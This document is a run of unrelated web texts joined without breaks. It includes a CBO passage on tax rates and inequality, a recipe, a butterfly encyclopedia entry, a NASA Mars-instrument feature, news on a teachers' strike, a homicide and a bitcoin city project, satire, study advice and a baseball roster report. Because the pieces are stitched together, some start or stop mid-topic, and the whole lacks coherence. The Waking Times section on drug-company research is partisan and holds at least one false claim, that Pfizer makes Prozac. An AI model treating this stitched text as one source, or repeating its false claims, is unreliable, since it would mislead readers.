Despite the increases in tax rates in 2013, average federal tax rates in that year were below the 35-year average for most households. Average federal tax rates in 2013 for households in all but the top income quintile were significantly below the average rates over the 1979–2013 period. For the top quintile, the breakdown differs; the average tax rate in 2013 was slightly below the 35-year average for households in the 81st to 99th percentiles but well above the 35-year average for households in the top 1 percent of the income distribution (see Figure 2).
After-Tax Income. From 1979 to 2013, average after-tax income grew at significantly different rates for households at different points on the income scale. For households in the top 1 percent of the income distribution, inflation-adjusted after-tax income grew at an average rate of about 3 percent per year, making that income 192 percent higher in 2013 than it was in 1979 for those households.
In contrast, households in the bottom quintile experienced an average growth of about 1 percent per year in their inflation-adjusted after-tax income over the same period, making that income 46 percent higher in 2013 than it was in 1979, CBO estimates. Those differences in growth rates for after-tax income are largely attributable to differences in growth rates for market income, although changes in taxes and transfers had an effect as well.
Income Inequality. Between 1979 and 2013, all three measures of income examined in this report—market income, before-tax income, and after-tax income—became less equally distributed, based on a standard measure of inequality known as the Gini index. The increase in inequality in both before-tax and after-tax income over the 35-year period stemmed largely from a significant increase in inequality in market income, mostly because of substantial income growth at the top of the market income distribution.
Because government transfers go predominantly to lower-income households, before-tax income (which is equal to market income plus government transfers) was more evenly distributed in each year than market income. And because higher-income households pay a larger share of federal taxes than lower-income households do, after-tax income was more evenly distributed than before-tax income.
At night, after dinner, I like to have a little something sweet. It doesn’t have to be anything extravagant, but I do love a little treat. These are my newest go to. With only a handful of ingredients and bananas being the main ingredient, you can’t go wrong! The bananas get a nice brown, crispy outer layer and the maple adds just the right amount of sweetness. Toss a dash of cinnamon over these as well to shake things up a bit. These Maple Fried Bananas are done in no time and are perfect on their own or over a little bit of natural vanilla ice cream or with some Dairy Free Whipped Cream on top.
Cracker butterflies are a Neotropical group of medium-sized brush-footed butterfly species of the genus Hamadryas. They acquired their common name due to the unusual way that males produce a "cracking" sound as part of their territorial displays. The most comprehensive work about their ecology and behavior is that of Julian Monge Najera et al. (1998).[1][2]
Description [ edit ]
Hamadryas epinome museum specimen Underwing pattern ofmuseum specimen
Cracker butterflies are all fairly cryptic in their dorsal coloration, commonly covered in varying colored spots, mostly of which resemble bark; some are known to have little coloration, such as the Hamadryas februa.[3]
Distribution and habitat [ edit ]
This genus of butterflies are commonly found throughout South America to Arizona, where at least nine species can be found in Costa Rica.[4][5][6]
They spend most of the day perching on trees, boulders, and other such surfaces against which they are camouflaged. The speckled species of Hamadryas are often hard to distinguish, and most often these butterflies have to be examined as set specimens. There are no recent revisions, but a general account was published by D.W. Jenkins.[7]
Since cracker butterflies have good camouflage, they are not poisonous and do not have a chemical defense, with the exception of the starry night cracker. They are fed upon by rufous-tailed jacamars.[4]
Behavior [ edit ]
Male cracker butterflies are known for their ability to make a cracking noise with their wings, which is believed to either be for mating or to ward off rival males. They use trees as courting territories, as shown by experiments. They prefer tree bark that matches their wing coloration,[clarification needed] while the presence of food, position of trees along flight routes, tree size, bark texture, and lichen cover are not associated with the frequency of perching on the trees.[1][8]
Each species has a height range when perching but they perch higher when night approaches. The northern side of trees is less used and cardinal-direction side distribution is independent of time of day. Perches exposed to direct sunlight are less used in hot days. All species perch with the head downwards. Perching males frequently fly towards other butterflies.[1]
Each male perches on one to four trees daily, without difference between seasons, and each tree used has a minimum daily mean of 1.5 perching butterflies. Most interactions occur from 13:00 through 15:00 hours and are more frequent in the rainy season. At night males share perches.[1]
At least seven locations have been proposed for the sonic mechanism of Hamadryas butterflies. Non-destructive experimental methods and scanning electron microscopy suggest that both sexes emit sound and the sound apparatus, located in the forewing, is percussive, not stridulatory. At the end of the upward wing stroke, the wings are clapped and modified r-veins meet at a speed of approximately 1420 mm/s, producing the characteristic clicks. Wing beat frequency of free-flying individuals is 20–29 Hz. Clicks last a mean of 1.38 ms with mean intervals of 43.74 ms and the component frequencies concentrate around 2.4 kHz, matching Hamadryas hearing capacity and being appropriate for the acoustic conditions of habitat.[1]
The swollen Sc vein is present exclusively in Hamadryas; has a serpentine structure inside and probably acts as resonance box. Growth of the sound apparatus may be checked by its effect on flight capacity, physiological costs, and ecological reasons.
All Hamadryas have a membrane, shaped as an elongated cupola, in the costal cell, that acts as an ear. A second and smaller ear has four chambers and may detect predatory bats when the insects are perching at night.[1]
In the field, Hamadryas emit audible clicks when approached by potential predators, to defend territories from other Hamadryas and in at least one species also during courtship. Severe wing damage, common in wild Hamadryas, almost never affects the section with the sound mechanism. More than 50 species of lepidopterans (11 families) emit sound which can be audible to humans 30 meters (100 ft) away.[9] In general, lepidopteran sound is used as a warning to predators and for intraspecific communication.[1]
Research has shown that cracker butterflies can also detect the sounds made by other butterflies, which would be a form of social communication.[10] The organ of hearing is believed by some to be Vogel's organ, located at the base of the forewing subcostal and cubital veins.[8][8][10]
However, they may actually have a larger hearing organ for lower sound wave frequencies.[1]
Food sources [ edit ]
Unlike most butterflies, these species don't feed on nectar. Instead, cracker butterflies feed on rotting fruit, sap from leguminous trees, and animal dung.
Life cycle [ edit ]
Cracker butterflies undergo metamorphosis just like any other species of Lepidoptera, but lay their eggs only on the host plants that are members of the euphorbia family, Dalechampia spp.[4]
Species [ edit ]
Temperatures around the instrument plunge to minus 130ºF (-90°C), the air pressure is one percent of Earth's, and the atmosphere it sits in consists largely of carbon dioxide.
But this second SAM—short for Sample Analysis on Mars—resides in suburban Maryland, inside a tightly controlled chamber where it plays a little-known but essential role as a test instrument for the Curiosity mission to Mars. (Watch: How Curiosity took a self-portrait.)
And for a short time last month, this microwave-size "test bed" SAM was out of its deep freeze for repairs and upgrades, offering a rare peak into exactly what it takes to keep a rover and its scientific instruments alive and well on Mars.
Simply put, SAM is the most complex and sophisticated suite of scientific equipment to ever land on another celestial body.
The gold-covered box holds two tiny cylinder ovens that can vaporize Mars's rocks and soil at temperatures up to 1800°F (1,000 °C). Three instruments (spectrometers) then identify and analyze the gases produced by the ovens, as well as those collected from the Martian atmosphere. Some six miles (nine kilometers) of electrical wire connect these and many other parts together.
SAM's task constitutes a primary aim of Curiosity's mission: investigating whether Mars preserves the chemical ingredients needed for life, including organic carbon. (Related: Intriguing new evidence of a watery past on Mars.)
SAM has already analyzed some Martian soil and will very soon get its first taste of Martian rock, dug out with a drill last week and crushed into powder. A pre-programmed examination of that rock powder—a first-of-its-kind procedure—is scheduled to begin inside SAM shortly. (Related: Curiosity completes first full drill for Martian rock samples.
Maryland SAM in the Operating Room
But for the SAM on Mars to operate safely and properly, it needs the Maryland SAM (a 99 percent duplicate) as a test bed.
Every command sent to the instrument on Mars must first be run through the twin on Earth to make sure it doesn't confuse the operating system, doesn't open a wrong valve, doesn't set into motion a fatal cascade of events. So keeping the test-bed SAM in near-perfect shape is essential to Curiosity's success.
Yet some parts or connections have failed in recent months, requiring less-than-ideal work-arounds. And when the SAM team recently devised additional ways to further improve their creation, they decided to bring it in for repairs.
Which is why test-bed SAM was out of its chamber last month, laid out on a gurney in a clean room at the NASA Goddard Space Flight Center in Greenbelt, Maryland.
Several days before, the liquid nitrogen piped into SAM II's chamber to keep it cold had been turned off. Myriad pipes and tubes going in were shut down. The near-vacuum pressure inside the chamber—which is the size of a washing machine and wrapped in aluminum foil—had been changed to Earth conditions.
The big chamber door (which would have exerted some 10,000 pounds, or about 4,500 kilograms, of force) was swung open.
SAM II's lustrous gold plating, needed to regulate temperatures and keep the instrument as clean as possible, had been removed, exposing the warren of intricately packed equipment and wiring inside.
In a Mylar-draped section of the room, two of the men who put both SAMs together were poking and prodding, vacuuming and tightening its insides. In their head-to-toe white cover-ups, they looked like surgeons in the OR.
One of them, Oren Sheinman, is a lead designer and builder of the two SAMs. His repair involved a heat pipe for the tunable laser spectrometer—an instrument Sheinman designed to sniff the Mars air for gases such as carbon-based methane, which could be a sign of past or present life.
Problems with SAM's heat pipe had made it difficult to ensure that the new computer instructions going up to Mars were accurate and effective, so Sheinman and colleague Bob Arvey had to find a work-around.
Speaking from behind the Mylar screen, Sheinman said that what they had created was actually similar to some spacecraft he had worked on. "Not in terms of guidance and propulsion," he said, "but in terms of system issues and sheer complexity."
"With SAM, the difficult part mechanically was packaging, because it isn't really an instrument, but an instrument suite," he said.
Discovery Requires Complexity
SAM was already the largest and heaviest instrument that Curiosity would carry, but it needed to be as small as possible to make room for Curiosity's other equipment.
Fortunately, the hardware Sheinman was working on sat near the outside of the SAM configuration; fixing a piece deeper inside would have required what he called an "excavation."
For Arvey, the primary repair job involved his specialty, the miles of wire. Because SAM has high-temperature wires to supply the ovens and low temperature wires for the instruments, all the wiring had to be crimped together rather than connected with welds.
One of those crimps, or "getters," had failed some time ago, and it too had to be replaced.
Arvey said he needed all of his 40-plus years of experience in wiring space-bound equipment (to Venus, Jupiter, Titan, and Mars) to lay out the electrical rigging of SAM.
"Everything we did in building SAM had to be made up new," he said.
It was SAM principal investigator Paul Mahaffy who decided to open up the chamber, and he says his rationale was more improvement than repair.
While the several malfunctioning parts were making life difficult, his primary goal was to better stabilize the test-bed SAM so the team could send up commands that would allow Mars SAM to make more sensitive measurements.
Curiosity is a "discovery-driven" mission, Mahaffy said, and that means demands placed on the faraway rover and its instruments are ever changing. The result is a constant process of tweaking, upgrading, and modifying as scientists and engineers learn about Mars and look to devise ways to follow new leads.
Everyone Needs a Test Bed
The Goddard test bed is hardly the only one used for Curiosity.
The home institutions of the principal investigator for all ten Curiosity instruments have their test beds, and their results have to be squared with the entire Curiosity system, headquartered at the Jet Propulsion Laboratory in Pasadena, California.
JPL has its "Mars yard," where duplicate Curiosity rovers are put through their paces—everything from climbing a steep incline to approaching and drilling a rock.
Using the drill, for instance, involves more than a hundred discrete commands, and they have been put through their paces at the yard in advance of Curiosity's first ever Mars drilling.
"It's kind of unexpected and occasionally funny, but the test beds tend to come up with more problems than the actual equipment on Mars," said Curiosity mission manager Michael Watkins.
Since the equipment and instruments are virtual duplicates, Watkins said it's not an issue of quality. Rather, problems arise because the equipment is made to operate under Mars atmospheric and gravity conditions, which are difficult to entirely reproduce on Earth.
The test equipment is also used far more frequently and aggressively than what's on the actual Curiosity.
The constant testing slows a mission down at times, and after six months on Mars the rover has traveled only about a quarter mile, or less than half a kilometer.
But it has been a productive trip. Since landing on Mars in early August, Curiosity has identified a once fast-flowing stream bed on the planet, found tantalizing but unconfirmed signs of organic materials, and has drilled into low-lying bedrock and found gray (rather than the usual Martian red) rock inside.
The rover's travels on Mars are officially set to continue until the summer of 2014, but if Curiosity and its instruments remain healthy, all involved expect it will operate for several years beyond that.
With that kind of time frame in mind, the SAM team recently arranged to have its busy test bed moved to a building that has a supply of liquid nitrogen just outside a back door.
The new band got the gig because Joe Perry 's mother, who worked at a nearby school, knew someone at Miscoe Hill, which was then known as Nipmuc Regional High School, and helped set it up. At the time, Ray Tabano was on rhythm guitar. He would be replaced by Brad Whitford a year later. Tickets for the show cost about a dollar.
"I remember being blown away by their sound," said Roy Spindel, who attended the show. "When they were playing, it seemed obvious they were going to go some place. All I could think of was, 'This is what it must feel like when the Rolling Stones play.' They sounded like they had been together forever."
“This show today is so important,” Bakker warned. “God woke me up and I felt the presence of God like I never felt and He said, ‘Jim, I want you to do more food, build a new type of food.'”
“This is what God is saying to me,” he added. “We’re in the Last Days. The years I spent in prison, God showed me the revelation and I’m telling you, almost all of it [has already happened.] We’re going to see the End of Time and that is where we are right now.”
Fourth wave – All regular women will become Catwomen. All Catwomen will become twenty feet tall and perch upon thrones of pearl and of onyx. All cats will gain the ability to laugh like humans, but not to speak.
Fifth wave – The same as the fourth wave, but all Goombas are replaced by Buzzy Beetles, and all enemies walk faster; all of the elevator-style lifts are about sixty-percent of their original size, while Firebars appear in all possible locations
Sixth wave – Straight cis men will have evolved into a Morlock-like species of sled dog that lead sleighs loaded down with ice queens in fur capes across a frozen landscape. There will be forty-seven new genders, one of which is capable of breathing fire. None of them will be able to agree upon whether or not Game of Thrones was feminist.
Seventh wave – The seventh wave of feminism will take place in a dimension catty-corner to our own, and we will not notice it, except for two junior staffers at the Large Hadron Collider.
Eighth wave – Dance-off.
Ninth wave – Every feminist from the second wave will rise reanimated from the grave and terrorize the living. Millions will perish.
Tenth wave – One of the Seven Worthies will wield the sword of the King Under The Mountain, waking Andrea Dworkin from her dreamless sleep beneath the Sunless Sea.
May 6, 2013, 11:28 AM GMT By Scott Stump
Two years after jury selection began for the Casey Anthony murder trial, Judge Belvin Perry, who presided over the case, said the Florida mother was "very manipulative."
"There were two sides to Casey Anthony," he told Savannah Guthrie on TODAY Monday in an exclusive interview. "There was the side that was before the jury, where she portrayed the role of a mother who had lost a child, someone who was wrongfully accused, and then you could notice the change and transformation in her when the jury went out.
"She was very commanding, she took charge of different things, and you could see her sometimes scolding her attorneys."
During the trial, Anthony's attorneys discussed with her the possibility of taking a plea deal for aggravated manslaughter instead of first-degree murder. Perry described Anthony's behavior as she talked with her lawyers in a holding cell near where he was sitting.
"I will never forget that day,'' he said. "All of a sudden, you heard shouting coming from the holding cell, some four-letter words coming from the holding cell, and she was quite upset. So upset that one counselor suggested that she was incompetent to proceed."
Perry, the chief judge on Florida’s Ninth Judicial Circuit, became famous during the trial, which made national headlines from May to July 2011. The jury found Anthony not guilty of the first-degree murder of her 2-year-old daughter, Caylee. Her daughter's remains were found in a wooded area near Anthony’s home in Orlando in December 2008.
The jury found Anthony guilty of four misdemeanor counts of providing false information to a law enforcement officer, and she was released in July of 2011 after getting credit for time served.
Perry described his "surprise," "shock" and "disbelief" at reading the verdict.
"There was sufficient evidence to sustain a verdict of murder in the first degree in this case," he said.
"I thought they had proved a great case, but you’ve got to realize this was a circumstantial evidence case. All the defense had to do was create that reasonable doubt, and that’s what they did."
Perry credits Anthony's lawyer, Jose Baez, for his effect on the jury.
"The state had better lawyers, but Mr. Baez was very personable,'' Perry said. "He came across as someone that you would like. It’s like someone trying to sell a used car. Who are you going to buy it from? The most likable salesperson."
In Florida, television cameras are allowed in the courtroom. The Anthony trial rippled across Twitter and Facebook. The high-profile trial earned Perry the nickname "The Velvet Hammer" on social media.
"In Florida we’ve always had cameras,'' he said. "I think people need to know how their justice system works, and that’s the only way it can work."
CHICAGO — Teachers in the nation's third largest school system are inching toward a possible strike early next year, as Chicago Teachers Union members have voted overwhelmingly in favor of authorizing a work stoppage if union leaders and school officials are unable to soon broker a new contract, union leaders said Monday.
The union, which has been without a contract since June, said 88% of members marked yes to authorize leaders to call a strike. State law requires 75% of members to approve a strike for leaders to move forward with a work stoppage.
Talks between the union and Chicago Public Schools officials have been at loggerheads for months. The school system and union had appeared close to a one-year deal in June, but talks fell apart over differences in the teacher evaluation system. Talks resumed in August over a multi-year deal, but union officials say there has been little progress.
The union is pushing for more school programs, smaller class sizes, a 3% salary increase, and pay for snow days. The school system, meanwhile, is looking for teachers to take a pay cut and pay more in health care premiums.
The school budget is facing a roughly $500 million shortfall. Mayor Rahm Emanuel and schools CEO Forrest Claypool have warned that job cuts at the city's schools could be coming early next year unless state lawmakers take action with an aid package for the cash-strapped school system. The union includes 27,000 members.
"Rahm, Forrest Claypool — Listen to what teachers and educators are trying to tell you: do not cut the schools anymore, do not make the layoffs that you have threatened; instead, respect educators and give us the tools we need to do our jobs," said Jesse Sharkey, the union's vice president.
A strike would be another headache for the embattled Emanuel, who has faced calls for his resignation in recent weeks following the release of disturbing police video that shows a police officer fatally shooting Laquan McDonald, 17, on a city street last year. The mayor also angered many in the African-American community in 2012 when he authorized the closure of 50 schools with low enrollment in predominantly black neighborhoods as he struggled to deal with budget difficulties.
The school system was also in the national spotlight in October when Barbara Byrd-Bennett, the former chief executive picked by Emanuel to run the school system, pleaded guilty in federal court to her part in a scheme to steer $23 million in contracts to her former employer.
The union filed an unfair labor practice complaint last week with the state's educational labor relations board, demanding that talks proceed to a fact-finding phase in the negotiations. State law requires a 105-day waiting period from when fact-finding begins before a strike can take place.
Claypool reiterated the Emanuel administration's call for teachers to put their energy into pressuring state lawmakers in Springfield to re-calibrate how the state funds public school. Chicago has about 20% of Illinois' students but only gets about 15% of state education funding.
"So rather than strike, we ask that the Chicago Teachers Union join us to fight for our shared goal of equal education funding from Springfield for Chicago’s children," Claypool said. "We will continue to negotiate in good faith with the CTU leadership to reach a fair, multi-year agreement that protects teachers, their jobs and ensures our students’ success.”
There was a seven-day teachers strike under Emanuel's watch in 2012. That strike marked the first teachers work stoppage in Chicago in 25 years.
In addition to those types of plans, it is also useful to contemplate just how to deal with that most daunting of assignments: the semester-length research paper. In some classes, professors will lay out a set of tasks throughout the semester to guide and monitor their students' work, a common practice in courses designed for first-years. In others, especially as one takes higher-level courses, professors will expect more autonomy. You may be given an assignment that is due in mid-December, and how you will proceed will mostly be up to you. Some students will let the semester slip away and write at the last second, producing work that is satisfactory to no one. Others may try to do better and design a good long-term plan. This piece is dedicated to helping new college students find such a process. With the right planning, students can avoid the crappy products of all-nighters while embracing a chance to benefit from good research, writing and critical thinking. They may even surprise themselves and enjoy the experience. The hallmarks of such a plan are embracing revision and breaking major tasks into manageable chunks. Imagine the following conversation:
"OK, I've got my syllabus, and I know I have a paper due in December. What can I do now?"
Lots, actually. First, jot down a few problems or questions that spark your interest. Do a few free-writes to help organize your thoughts. You might explore an interesting problem that has arisen in class, a hypothesis you want to test, or an assumption you want to challenge. Look for a question that puzzles you enough that you will enjoy spending three months learning everything about it.
The first month is an ideal time to visit folks. Professors can offer invaluable guidance as you decide what questions will drive your project and, for most students, how to narrow your focus. Librarians can help direct your search for scholarly sources and can introduce you to other gems like archive collections or data sets related to your research interests. They can give you guidance on the types of sources you'll need, how to use them and how to independently take additional steps with your research.
"It's October. What can I do now?"
Mid-semester is the critical moment for primary research. Make sure to use a wide variety of scholarly and other reliable, relevant sources. Take notes while reading through sources -- this will be important when it is time to make citations. Use the works-cited page of your best sources to branch out to new materials. Don't forget to engage with course texts and think about how your project will build off of the ongoing scholarly conversation on your topic.
Once you've completed your primary research, you'll probably have some idea about what you want to achieve with your project and what your argument will be. It makes sense to get a working thesis down on paper now, along with an initial outline or idea map.
"Now it's time to do some formal writing, right?"
Right. As snow begins to fall in November, plan to engage in the formal writing process. Good writing requires multiple drafts and plenty of time for revision. Follow your informal outline or idea map, have your research notes accessible, and cite your sources. Don't worry if your first draft is a bit of a mess.
When you've completed that deep thinking known as a first draft, it's time to take a short break and then engage in a patient and thorough revision process. Remember, revision is very different from proofreading (that will come later). Revision means thinking deeply about "big picture" questions. While revising, you might ask yourself if there are sections that need to be reconceived, especially promising sections that beg for more development, or additional evidence to be gathered. You might refocus your thesis and claims, concentrate more on how your paper builds off of ongoing academic conversations or check to see if your rhetorical choices are appropriate for your audience. Many students will design a more formal outline at this stage and engage with potential counter-arguments.
During the revision process you will write at least one additional draft and perhaps more. Leave yourself plenty of time to reflect on your ideas and your communication plan. You may end up doing more research to address new questions or to test your original hypothesis in another way. This is also an ideal time to engage in peer review, visit your college's writing center or go back to your professor's office hours.
"Is it time for finishing touches now?"
Yes. Happily, you will address many minor errors during the revision process, so you can leave proofreading and sentence-level editing to the end. Be aware that spellcheck won't catch everything, so proceed carefully. You also need to check your citations and formatting. Citations properly give credit to other people's work, demonstrate the credibility of your product and provide a helpful road map for your audience. It is something your academic community will take seriously.
"This seems time-consuming."
Meaning: Depending on who you ask, you’ll actually find an array of definitions for this odd idiom. Here are some of the most commonly used definitions:
1. There is evidence to back up a previously made claim, specifically evidence intrinsic to the object in question. (Example: Of course this project will be successful, the proof is in the pudding.)
2. The process of achieving something isn’t important as long as the end product is good. (Example: I may have had to walk 1,000 miles to find this treasure, but the proof is in the pudding.)
3. The success of something can only be measured by putting it to its intended use. (Example: You’ll have to try it out before you buy it, since the proof is in the pudding.)
Waking Times
In 2015 the editor of the Lancet study admitted that pharmaceutical marketing is supported by deceitful research. Now, a new report issued by a distinguished doctor provides more insight into how drug companies manipulate scientific research in order to advance corporate interests in the realms of health and medicine.
A meta-analysis is an overarching view of several previously conducted scientific studies which measures both qualitative and quantitative evidence to come to a conclusion about a premise proposed by a scientist – except when that study is paid for by the very companies whom conduct the ‘analysis’ in order to sway data in their interests.
Though the tool of meta-analysis is used in every branch of science, it has become an important device for doctors when trying to determine the best method of treating disease. They’ve become essential, in fact, because of the sheer onslaught of medical studies coming out every year.
The National Institutes of Health invests nearly $32.2 billion annually for medical research alone, giving grants to a myriad of institutions involving studies conducted by over 6,000 scientists.
A meta-analysis is a way for a doctor to wade through the excessive information available and come to a conclusion – something he used to just ask his fellow doctors in a field about. He now relegates that task to medical studies. There’s just one problem. A new report suggests that more than 80 percent of these studies are funded by corporate interests. It’s not science these doctors are reading, but a commercial in the form of scientific literature put together by and funded by drug makers.
These kinds of studies are “extremely important,” according to Dr. John Ioannidis, a professor of medicine health research and policy at Stanford University. He has conducted many of these types of studies throughout his career, and he says, “They’re trying to make some sense out of a very convoluted scientific and medical literature.”
Not much sense is being made, though, despite thousands upon thousands of research studies.
Ioannidis suggests, “They [drug companies] can get the results or at least the interpretation that fits their needs. So you have the most powerful and most prestigious design in current medical evidence, and it can be easily manipulated as an advertisement, as a marketing tool.”
Though the National Academy of Medicine offers many protocols for divulging the ‘money behind the study,’ it can be very difficult for doctors well versed in medical jargon, let alone a common person doing their own research, to wade through the subtleties of a study which is designed from its origins to come to a specific conclusion.
For example, Pfizer, the maker of Prozac, and who pays for many of the meta-analysis for their own drugs, can hide their authorship behind an institution, a scientist, or even suggest in the analysis itself, findings which are not an assimilation of unbiased analytical data, but which simply promote the use of their product.
Many studies have found similar issues with drug companies meddling in the scientific data to skew it in their favor. One such study, penned by Ioannidis, called “The Mass Production of Redundant, Misleading, and Conflicted Systematic Reviews and Meta-analyses” published in the Journal of Clinical Epidemiology, which evaluated 185 meta-analyses, found that one-third of them [meta analysis] were written by pharma industry employees. Other conflicts of interest were also very apparent.
Aside from Ioannidis’ research, in 2015, the editor of one of the world’s most respected medical journals, The Lancet, went public about the massive research fraud that was ruining the field of medical clinical research:
“Much of the scientific literature, perhaps half, may simply be untrue. Afflicted by studies with small sample sizes, tiny effects, invalid exploratory analyses, and flagrant conflicts of interest, together with an obsession for pursuing fashionable trends of dubious importance, science has taken a turn towards darkness.” – Dr. Richard Horton, editor of the world’s most respected medical journal, The Lancet
These statements are alarming for several reasons. First, there is the implied lack of any sort of unbiased research on medicine, along with the ridiculous amounts of public funds, let alone private, being spent on ‘medical research,’ that is already determined well before a study is analyzed.
Secondly, the public is swindled once again with fancy, peer-reviewed, scientific journals which should stand as fact, but have been infiltrated by the corporate elite.
As Ioannidis states,
“The publication of systematic reviews and meta-analyses should be realigned to remove biases and vested interests and to integrate them better with the primary production of evidence.”
The corporate takeover of medicine continues.
About the Author
Christina Sarich is a freelance writer, musician, yogi, and humanitarian. Her insights appear in magazines as diverse as Weston A. Price, Nexus, Atlantis Rising, and the Cuyamungue Institute, among others. She was recently a featured author in the Journal, “Wise Traditions in Food, Farming, and Healing Arts,” and her commentary on healing, ascension, and human potential inform a large body of the alternative news lexicon. She is also a staff writer for Waking Times.
This article (Doctor Warns – 80% of Medical Studies are Advertisements for Big Pharma) was originally created and published by Waking Times and is published here under a Creative Commons license with attribution to Christina Sarich and WakingTimes.com. It may be re-posted freely with proper attribution and author bio.
PINE LAWN, MO (KTVI) - The Major Case Squad of Greater St. Louis has been activated for a triple homicide Wednesday morning in Pine Lawn. he shooting happened shortly after 10 a.m. in the 4500 block of Rosewood, near Jennings Station Road. Police arrived to find three male victims suffering from gunshot wounds. They were pronounced dead on the scene.
The shooting victims have been identified as Andrew Green, 29, of the 4600 block of Pope, Marquise Cooper, 23, of the 600 block of Lalite, Calvin Walker, 29, of the 5900 block of Laura in St. Louis. One victim was found inside of a black SUV, another on a nearby sidewalk and the third in a yard.
Authorities aren't sure how many suspects they`re looking for. However, a search is underway for an old white Chevy Impala, which has a black spotlight. The second vehicle is a black Nissan Altima.
Anyone with information or tips is asked to call the North County Police Cooperative at 314-427-8000.
Willoughby-Eastlake City Schools announced the decision Thursday, spearheaded by its superintendent, Steve Thompson. Workers will immediately begin the process of covering up the mascot on scoreboards and removing it other places around the school, and the few remaining sports teams uniforms featuring the icon will be replaced.
The mascot and name were chosen when the school was founded, as the district has two high schools - North and South. North High's team name is the Rangers.
The district is in the process of constructing two new high school buildings and a new elementary school building.
Thompson, in a Thursday afternoon press conference, said his conscience prompted him to put the decision in motion, but a group made up of students, teachers and community members will provide input in how to move forward.
There are no plans to change the name, and the school's colors, gray and blue, will stay the same.
Following the deadly attack during protests in Charlottesville, Virginia, some cities are deciding to remove Confederate statues. In other cases, protestors are toppling them, according to reports.
When asked what prompted the decision at this time, Thompson said it was based on making sure that people knew that the district was an inclusive community. The construction of the new campus and allowing students to shape an identity along with that also played into the decision.
"I think it's bigger than a flag or bigger than a mascot," he said.
Read more: Talk it out: What should be done with Confederate statues?
The district's South High School removed Confederate imagery from its uniforms and stopped using the "Stars and Bars" to promote sports in 1993. However, the name and the mascot stayed. The icon is a man dressed in a gray military outfit, the color of Confederate uniforms in the Civil War.
Read more: High school sports fans share thoughts, memories of playing teams with Confederate imagery
The team did have a male student dressed up like the icon a couple years ago.
Thompson said he expected kickback from the community on the decision, but he thought he should have the "courage" to make it even if it's unpopular.
He added the change in mascot might not make too much of a ripple among students.
"I think the message to our students is that we want to be inclusive, and I think that resonates with young people."
John Adams High School in the Cleveland Metropolitan School District also uses the Rebels as a team name, but their mascot more closely resembles a cavalier than a Confederate soldier.
Project organizers say the compact Tasmanian city with a population of 106,000 will make a good high-density testing ground for bitcoin. The plan is aimed to cover various levels of the business supply chain, allowing users to both receive and spend their bitcoins, rather than simply converting them to Australian dollars.
A notable part of the ‘Launceston Launch’ plan would be to have the local government, the Launceston City Council, accept bitcoin for taxes and rates. At least two members of the 12-member council have shown support for the idea.
Plan director Adam Poulton has talked of bitcoin’s potential to put the spotlight on a city not often seen in international headlines, saying:
“Bitcoin is a currency in use in all developed countries in the world and has turned over $20bn in the last 12 months. It’s time Launceston got its share.”
This, along with several tourism and real-estate projects, plus a social media campaign, would hopefully attract more affluent tourists to the area, who would in turn be encouraged to spend bitcoin there.
Launceston Launch is designed to be a mainly closed-loop system, beginning with traders accepting digital currency and then targeting other merchants up the supply chain, keeping most of it within the city as its cost-saving benefits are realized.
Receipt of bitcoin payments and conversion to dollars, if requested, will be handled by Sydney-based payment processor BitPOS.
Gold sponsors signed
At least two supporting businesses have signed up for the project’s Gold Sponsorship, including Dr Roger Bernard, a medical clinic operator who has studied bitcoin since early 2013.
Bernard said:
“I am an eager participant in the Launceston Launch project, and this is why I immediately joined as a Gold Sponsor.”
Bitcoin could also open his practice to international clients and help sell his skincare products overseas, he added.
Raising awareness
A public education campaign is also underway to raise awareness of the project, coordinated by Melbourne-based bitcoin activist and documentary maker Dale Dickins. There are also plans to install four bitcoin ATMs around the city centre, with more to follow if the project proves a success.
Marketing efforts would initially target female consumers aged 25–45, as the demographic with the highest percentage of smartphone usage and who visit the widest variety of shops.
Initial responses from local businesses had been positive, Poulton said. Despite overall awareness being low, most begin to see bitcoin’s potential for savings and convenience after an informative 15-minute chat, he added.
Issues discussed include that fact that bitcoin is not too complex technologically, the Australian Tax Office has confirmed legality with a ruling, it integrates well into an e-commerce site and merchants would have the ability to cap the number of bitcoins they receive if needed.
Some concerns have stemmed from businesses not knowing what to do with a sudden influx of bitcoin-using customers. The ‘Bartercard‘ local currency initiative of previous years caused headaches for some small businesses who collected the system’s trade points, but complained they were unable to spend them on practical expenses like taxes and supplies.
This is not an issue with bitcoin, Poulton said, since payment processors like BitPOS are ready to exchange bitcoins for dollars if needed and a sudden jump in bitcoin trade is unlikely.
Other small but relatively high-density locations around the world have similar plans to promote bitcoin acceptance and businesses in their area, including islands the Hague, Bali, Jersey, and the Isle of Man.
But if the prognosticating and bickering over bitcoin is enough to eclipse its promise (and there are some fascinating possibilities in the notion of a decentralized currency), there is a better (and more soothing) way for you to tune in to this burgeoning economy.
BitListen is an online bitcoin visualizer created by interactive designer Maximillian Laumeister that tracks real-time bitcoin usage and translates it into something like a data-driven wind chime. As individual bitcoin transactions enter the “blockchain” (bitcoin’s master ledger), they emerge as a field of twinkling, ascendant bubbles, each scaled in pitch and size to the amount of bitcoin spent.
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Its music is random, searching, sparse, but constant. Even if the details and the logic of bitcoin continue to elude you, BitListen tells the tale of a powerful force still pulling itself together. Or it’s just something pretty to listen to while you clean the house. Pro tip: For an extra robust experience, open a second browser tab to the slightly busier knockoff, “Listen to Wikipedia.” (And don’t actually listen to Wikipedia.)
MICHAEL ANDOR BRODEUR
Tampa Bay Rays: Did the Rays Make the Right Trades?
Tampa Bay Rays: Did the Rays Make the Right Trades? by David Egbert
Losing three players off the 25-man roster, the Tampa Bay Rays look no further than the Durham Bulls for reinforcements as Motter and Garton rejoin the Rays
It was a busy day on Monday as the Tampa Bay Rays traded three players off their 25-man roster, resulting in a 23-man roster for their game against the Kansas City Royals.
Prior to the game the Tampa Bay Rays announced that Matt Andriese would return to the rotation and that Desmond Jennings had been activated off the DL.
Following the game, the Rays announced that outfielder/infielder Taylor Motter and right-hander reliever Ryan Garton had been recalled.
Called up from Durham when the Tampa Bay Rays needed a fifth starter on May 8, Matt Andriese was 5-1 in eight starts before being moved to the bullpen to make room for Blake Snell.
Overall on the season Andriese’s line stands at 6-2, with a 2.75 ERA spanning 18 games in 72-innings pitched.
Tampa Bay Rays manager Kevin Cash said on Monday that Andriese is back in the rotation full-time and that he’ll start against the Royals on Tuesday, but Rays President Matt Silverman said otherwise.
Silverman told the media that Andriese won’t be the only pitcher to get starts in the final months of the season – referring to the return of Alex Cobb who is back on track for a return at the end of this month and as well giving Erasmo Ramirez some opportunities.
Additionally, Silverman said there might be some young arms at Triple-A Durham who could earn a call up when the rosters expand on September 1.
